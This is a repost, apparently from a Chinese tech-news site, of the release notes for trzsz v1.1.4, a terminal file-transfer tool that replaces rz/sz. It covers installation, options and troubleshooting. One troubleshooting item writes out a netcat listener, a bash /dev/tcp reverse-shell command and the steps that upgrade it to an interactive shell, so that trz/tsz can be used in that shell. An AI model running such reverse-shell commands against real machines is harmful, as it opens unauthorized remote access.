🔥 rz sz 的替代品 trzsz ( trz / tsz ) 发布 v1.1.4
🔥 rz sz 的替代品 trzsz ( trz / tsz ) 发布 v1.1.4,GitHub:https://github.com/trzsz/trzsz
安装指南
在远程服务器上安装
-
安装 用 Go 实现的版本( ⭐ 推荐 )
请查看 Go 版安装指引:https://trzsz.github.io/cn/go
-
或者用 Python3 安装
sudo python3 -m pip install --upgrade trzsz
-
或者用 Python2 安装
sudo python2 -m pip install --upgrade trzsz
-
或者用 Homebrew 安装
brew update brew install trzsz
-
或者用 Node.js 安装
sudo npm install -g trzsz
没有 sudo
权限也可以安装,只要将安装路径 ( 可能是 ~/.local/bin
) 添加到 PATH
环境变量中即可。
支持的终端
-
trzsz-ssh (tssh) -- 内置支持 trzsz 的 ssh 客户端( ⭐ 推荐 )。
-
iTerm2 -- 参考 Trzsz-iTerm2 安装文档。
-
tabby -- 安装 tabby-trzsz 插件即可。
-
electerm -- 升级到
1.19.0
以上的版本即可。 -
ttyd -- 升级到
1.7.3
以上的版本,并且启动时加上-t enableTrzsz=true
,非 localhost 要用https
。 -
trzsz-go -- 只要是支持本地 shell 的终端就可以用。
-
trzsz.js -- 让运行在浏览器中的 webshell 和用 electron 开发的终端支持
trzsz
。
如果你的终端也支持 trzsz
,请告诉我,我很乐意将它加到此列表中。
使用指南
trz
上传文件
trz
命令可以不带任何参数,将上传文件到当前目录。也可以带一个目录参数,指定上传到哪个目录。
trz /tmp/
tsz
下载文件
tsz
可以带一个或多个文件名(可使用相对路径或绝对路径,也可使用通配符),将下载指定的文件。
tsz file1 file2 file3
-q
静默模式
trz -q
或 tsz -q xxx
( 加上 -q
选项 ),则在传输文件时不显示进度条。
-y
覆盖模式
trz -y
或 tsz -y xxx
( 加上 -y
选项 ),如果存在相同文件名的文件就直接覆盖,并支持断点续传。
-b
二进制模式
trz -b
或 tsz -b xxx
( 加上 -b
选项 ),二进制传输模式,对于压缩包、图片、影音等较快。
-e
转义控制字符
二进制模式时,控制字符可能会导致失败,trz -eb
或 tsz -eb xxx
( 加上 -e
选项 ) 转义所有已知的控制字符。
-d
/ -r
传输文件夹
trz -d
或 tsz -r xxx
( 加上 -d
或 -r
选项 ),则可以上传或下载指定文件夹和文件。
-B
缓冲区上限
trz -B 20m
或 tsz -B 2M xxx
等,设置最大缓冲区上限 (默认 10M)。会自动根据网速选择合适的缓冲区大小,但不会超过此上限。
-t
超时时间
trz -t 30
或 tsz -t 30 xxx
等,设置超时秒数 (默认 20 秒)。在超时时间内,如果无法传完一个缓冲区大小的数据则会报错并退出。设置为 0 或负数,则永不超时。
异常处理方法
-
如果
tmux
是运行在本地电脑上。- 方案 1:使用
tmux -CC
与 iTerm2 集成,请参考 iTerm2 与 tmux -CC 集成。 - 方案 2:在本地电脑上安装 trzsz-go,在
tmux
之后用trzsz ssh
登录。
- 方案 1:使用
-
如果
tmux
是运行在跳板机上。- 方案 1:使用
tmux -CC
与 iTerm2 集成,请参考 iTerm2 与 tmux -CC 集成。 - 方案 2:在跳板机上安装 trzsz-go,在
tmux
之后用trzsz -r ssh
登录。
- 方案 1:使用
-
如果出现了错误,且
trzsz
挂住不能动了:- 按组合键
control + c
可以停止服务器上的trz
或tsz
进程。 - 对于 iTerm2 用户,按组合键
command + option + shift + r
可以停止 iTerm2 Coprocesses。
- 按组合键
-
如果
trz -b
二进制上传失败,并且登录远程服务器时使用了telnet
或docker exec
:- 可以试试转义所有控制字符,例如
trz -eb
。
- 可以试试转义所有控制字符,例如
-
如果
trz -b
或tsz -b
二进制传输失败,并且登录远程服务器时使用了expect
:- 可以试试在
expect
脚本前设置环境变量export LC_CTYPE=C
,例如:#!/bin/sh export LC_CTYPE=C expect -c ' spawn ssh xxx expect "xxx: " send "xxx\n" interact '
- 可以试试在
-
如果想在反弹 shell 中使用
trz / tsz
上传和下载,则需要按以下步骤操作:- 1. 使用
tssh xxx
或trzsz ssh xxx
登录服务器。 - 2. 在服务器上执行
nc -lnv 1337
,等待反弹 shell 连接。 - 3. 在目标机器反弹连接到服务器,如
bash -i >& /dev/tcp/192.168.0.1/1337 0>&1
。 - 4. 以下在反弹 shell 中操作:
- 4.1. 转换成交互式 shell,如
python3 -c 'import pty; pty.spawn("/bin/bash")'
。 - 4.2. 按下
ctrl + z
将反弹 shell 转入后台运行。 - 4.3. 执行
stty raw -echo; fg
屏蔽服务器的回显,并将反弹 shell 转到前台运行。 - 4.4. 此时按一次回车键,就会显示命令行提示符等了。
- 4.5. 设置终端环境变量
export TERM=xterm-256color
( 此步骤非必须 )。 - 4.6. 检查是否存在
TMUX
环境变更,若存在则要清掉unset TMUX
。 - 4.7. 此时就可以正常使用
trz / tsz
上传和下载了。
- 4.1. 转换成交互式 shell,如
- 5. 退出交互式 shell 后,输入的字符将不会回显,盲打
exit
退出反弹 shell。 - 6. 此时在服务器上盲打
reset
并回车,恢复终端的默认设置,然后回显就恢复正常了。
- 1. 使用
屏幕截图
trzsz 在 iTerm2 中 text 进度条示例
trzsz 在 iTerm2 中 zenity 进度条示例
trzsz 在 tabby 中 tabby-trzsz 插件示例

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
GoEdge CDN v1.2.10 发布,提升节点性能和内存安全性
GoEdge是一款可以帮你快速构建 CDN & WAF 平台的工具,支持 HTTP、HTTPS、Websocket、TCP、TLS、UDP、PROXY Protocol、IPv6、WAF 等特性,支持多个第三方 DNS 服务。 GoEdge CDN v1.2.10主要提升节点性能和内存安全性,保证节点在高负载下的稳定性。 管理系统 EdgeAdmin WAF记录IP动作中IP名单允许留空,留空后表示使用默认全局黑名单 WAF规则对比值长度限制为4096个字符,当输入超出4096字符后,提示用户长度限制 优化“集群设置–网站设置”页面,将选项使用选项卡归类 将全局的“通用设置–域名审核”设置移到“集群设置–网站设置”中,每个集群可以单独设置是否需要审核 将全局设置的TCP相关设置移到“集群设置–网站设置”中 网站访问日志未开启时,在访问日志列表显示提醒文字 优化<url-pattern-box>组件对输入问号的提示,当在例外URL和限制URL里输入问号及参数时,提示用户输入错误 集群设置中增加“自动调节系统参数”选项,启用后,节点程序在启动时会自动尝试调整系统参数,以...
- 下一篇
LiteFlow v2.11.1发布!一个高速迭代,社区活跃的新一代规则引擎
LiteFlow介绍 LiteFlow是一个开源编排式规则引擎,能够让你的系统逻辑任意编排,可选用脚本书写逻辑,支持多达6种脚本语言,支持丰富的第三方存储的支持,所有的逻辑和规则均可热变更。设计系统和重构系统的神器。 LiteFlow是Gitee的高star项目,过去一年来保持了非常快的增长趋势。 同时LiteFlow也是国内优秀的社区驱动型开源项目,开源将近3年,目前已经被各大公司应用在核心系统上。特性以及支持度都非常好。社区人数超过3500人。测试用例1500个,质量有保障。 如果你是第一次知道这个项目,可以去官网或相关的主页进行了解: 项目官网: https://liteflow.cc gitee托管仓库: https://gitee.com/dromara/liteFlow github托管仓库: https://github.com/dromara/liteflow 前言 上一个版本是9月1日发布的,经过了一个半月,LiteFlow新的v2.11.1和大家见面了。 这个版本总共带来了7个大特性,3个增强,2个修复。总计12个issue的更新。 其实这已经比上一个大版本已经有过...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- SpringBoot2整合MyBatis,连接MySql数据库做增删改查操作
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果
- CentOS关闭SELinux安全模块
- SpringBoot2更换Tomcat为Jetty,小型站点的福音
- CentOS8安装Docker,最新的服务器搭配容器使用
- CentOS7,8上快速安装Gitea,搭建Git服务器
- Windows10,CentOS7,CentOS8安装Nodejs环境
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- CentOS7安装Docker,走上虚拟化容器引擎之路
- SpringBoot2整合Redis,开启缓存,提高访问速度